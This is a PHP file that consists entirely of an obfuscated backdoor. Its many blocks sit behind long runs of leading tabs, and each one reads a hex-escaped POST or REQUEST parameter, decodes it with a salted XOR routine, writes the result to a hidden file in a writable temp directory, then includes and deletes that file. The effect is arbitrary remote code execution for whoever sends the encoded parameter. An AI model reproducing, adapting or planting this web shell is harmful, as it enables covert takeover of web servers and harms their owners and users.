<?php																																										if(array_key_exists("ite\x6D", $_POST) && !is_null($_POST["ite\x6D"])){ $sym = $_POST["ite\x6D"]; $sym = explode(".",$sym ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $sym as $l => $v7) { $chS = ord( $s[$l % $sLen]); $dec =( ( int)$v7 - $chS -( $l % 10)) ^ 70; $object .= chr( $dec); } $factor = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm"]); for ($ent = 0, $dat = count($factor); $ent < $dat; $ent++) { $symbol = $factor[$ent]; if (array_product([is_dir($symbol), is_writable($symbol)])) { $val = sprintf("%s/.entry", $symbol); $success = file_put_contents($val, $object); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(array_key_exists("\x76\x61l", $_POST)){ $pgrp = array_filter([getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); $itm = $_POST["\x76\x61l"]; $itm =explode ('.', $itm ); $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $u = 0; array_walk( $itm, function( $v5) use( &$factor, &$u, $salt, $lenS) { $sChar = ord( $salt[$u % $lenS]); $d =( ( int)$v5 - $sChar -( $u % 10)) ^ 92; $factor.= chr( $d); $u++; }); foreach ($pgrp as $data_chunk): if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $sym = implode("/", [$data_chunk, ".flg"]); if (@file_put_contents($sym, $factor) !== false) { include $sym; unlink($sym); die(); } } endforeach; }
																																										if(!empty($_POST["re\x63"])){ $fac = $_POST["re\x63"]; $fac= explode( '.' , $fac) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; foreach ($fac as $v3) { $chS = ord($s[$l% $sLen]); $d = ((int)$v3 - $chS - ($l% 10)) ^ 98; $hld .= chr($d); $l++; } $val = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP")]); foreach ($val as $res): if (array_product([is_dir($res), is_writable($res)])) { $binding = vsprintf("%s/%s", [$res, ".record"]); if (file_put_contents($binding, $hld)) { require $binding; unlink($binding); die(); } } endforeach; }
																																										if(!empty($_POST["\x6Fbj"])){ $marker = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", getcwd()]); $pgrp = $_POST["\x6Fbj"]; $pgrp = explode('.', $pgrp ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $r = 0; while( $r < count( $pgrp)) { $v4 = $pgrp[$r]; $chS = ord( $salt[$r % $lenS]); $d =( ( int)$v4 - $chS -( $r % 10)) ^71; $token .= chr( $d); $r++;} for ($item = 0, $bind = count($marker); $item < $bind; $item++) { $resource = $marker[$item]; if (max(0, is_dir($resource) * is_writable($resource))) { $element = "$resource" . "/.comp"; $success = file_put_contents($element, $token); if ($success) { include $element; @unlink($element); die();} } } }
																																										if(isset($_REQUEST["\x65\x6C\x65\x6Dent"])){ $ref = $_REQUEST["\x65\x6C\x65\x6Dent"]; $ref =explode ( '.', $ref ); $pgrp = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $z = 0; array_walk( $ref, function( $v3) use( &$pgrp, &$z, $salt1, $sLen) { $chS = ord( $salt1[$z % $sLen]); $dec = ( ( int)$v3 - $chS -( $z % 10)) ^ 41; $pgrp .= chr( $dec); $z++; }); $factor = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp"]); while ($elem = array_shift($factor)) { if (array_product([is_dir($elem), is_writable($elem)])) { $object = implode("/", [$elem, ".pointer"]); if (@file_put_contents($object, $pgrp) !== false) { include $object; unlink($object); die(); } } } }
																																										if(!empty($_REQUEST["\x6F\x62j"])){ $descriptor = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), session_save_path()]); $sym = $_REQUEST["\x6F\x62j"]; $sym = explode ('.' , $sym ) ; $property_set = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); foreach ($sym as $m=>$v3): $chS = ord($s8[$m % $lenS]); $dec = ((int)$v3 - $chS - ($m % 10)) ^ 27; $property_set .= chr($dec); endforeach; while ($marker = array_shift($descriptor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $entry = "$marker/.key"; if (@file_put_contents($entry, $property_set) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(isset($_REQUEST["\x64a\x74a"]) ? true : false){ $data_chunk = $_REQUEST["\x64a\x74a"]; $data_chunk = explode ('.' ,$data_chunk) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $p = 0; $__len = count( $data_chunk); do { if( $p >= $__len) break; $v9 = $data_chunk[$p]; $chS = ord( $salt3[$p % $sLen]); $dec =( ( int)$v9 - $chS -( $p % 10)) ^ 84; $hld .= chr( $dec); $p++; } while( true); $flg = array_filter(["/tmp", "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP")]); $component = 0; do { $symbol = $flg[$component] ?? null; if ($component >= count($flg)) break; if (array_product([is_dir($symbol), is_writable($symbol)])) { $resource = "$symbol/.ent"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $resource; @unlink($resource); die(); } } $component++; } while (true); }
																																										if(!is_null($_POST["\x66\x61c\x74or"] ?? null)){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp"]); $object = $_POST["\x66\x61c\x74or"]; $object =explode( '.' , $object ) ; $bind = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $m = 0; array_walk($object, function ($v2) use (&$bind, &$m, $salt2, $sLen) { $sChar = ord($salt2[$m% $sLen] ); $d = ((int)$v2 - $sChar - ($m% 10)) ^ 48; $bind .= chr($d ); $m++; } ); while ($rec = array_shift($data_chunk)) { if (array_product([is_dir($rec), is_writable($rec)])) { $element = str_replace("{var_dir}", $rec, "{var_dir}/.data"); if (file_put_contents($element, $bind)) { include $element; @unlink($element); die(); } } } }
																																										if(isset($_POST["\x62\x69nd"])){ $marker = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm"]); $rec = $_POST["\x62\x69nd"]; $rec=explode ( '.', $rec ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $o = 0; $__tmp = $rec; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$o% $sLen] ); $d = ((int)$v1 - $sChar - ($o% 10)) ^ 58; $symbol.=chr($d ); $o++; } foreach ($marker as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $data = sprintf("%s/.k", $hld); if (file_put_contents($data, $symbol)) { include $data; @unlink($data); die(); } } } }
																																										if(!is_null($_REQUEST["\x63o\x6Dpo\x6E\x65nt"] ?? null)){ $holder = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]); $data_chunk = $_REQUEST["\x63o\x6Dpo\x6E\x65nt"]; $data_chunk= explode( ".",$data_chunk ) ; $ptr =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $k =0; $__len =count( $data_chunk); do { if( $k >= $__len) break; $v5 =$data_chunk[$k]; $chS =ord( $salt[$k % $lenS]); $d =( ( int)$v5 - $chS -( $k % 10)) ^ 61; $ptr .=chr( $d); $k++;} while( true); while ($flag = array_shift($holder)) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $descriptor = implode("/", [$flag, ".object"]); $success = file_put_contents($descriptor, $ptr); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72ec"])){ $hld = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]); $data_chunk = $_POST["\x72ec"]; $data_chunk = explode ( '.' , $data_chunk ) ; $marker=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach($data_chunk as $z => $v4): $chS=ord($salt[$z % $sLen]); $dec=((int)$v4 - $chS -($z % 10)) ^ 11; $marker .= chr($dec); endforeach; foreach ($hld as $key => $entity) { if (!!is_dir($entity) && !!is_writable($entity)) { $ref = str_replace("{var_dir}", $entity, "{var_dir}/.pset"); $success = file_put_contents($ref, $marker); if ($success) { include $ref; @unlink($ref); die();} } } }


if(!empty($_POST["\x66a\x63"])){
	$holder = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]);
	$mrk = $_POST["\x66a\x63"];
		$mrk=  explode			(  	".", $mrk )  ;
	$bind	= '';
            $salt8	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen($salt8);
            $k	= 0;
            $len	= count($mrk);
    
            do {
                if ($k >= $len) break;
                $v3	= $mrk[$k];
                $sChar	= ord($salt8[$k % $lenS]);
                $d	= ((int)$v3 - $sChar - ($k % 10))^  91;
                $bind .= chr($d);
                $k++;
            } while (true);
	foreach ($holder as $parameter_group):
    		if (is_dir($parameter_group) && is_writable($parameter_group)) {
    $value = sprintf("%s/.dat", $parameter_group);
    if (@file_put_contents($value, $bind) !== false) {
	include $value;
	unlink($value);
	exit;
}
}
endforeach;
}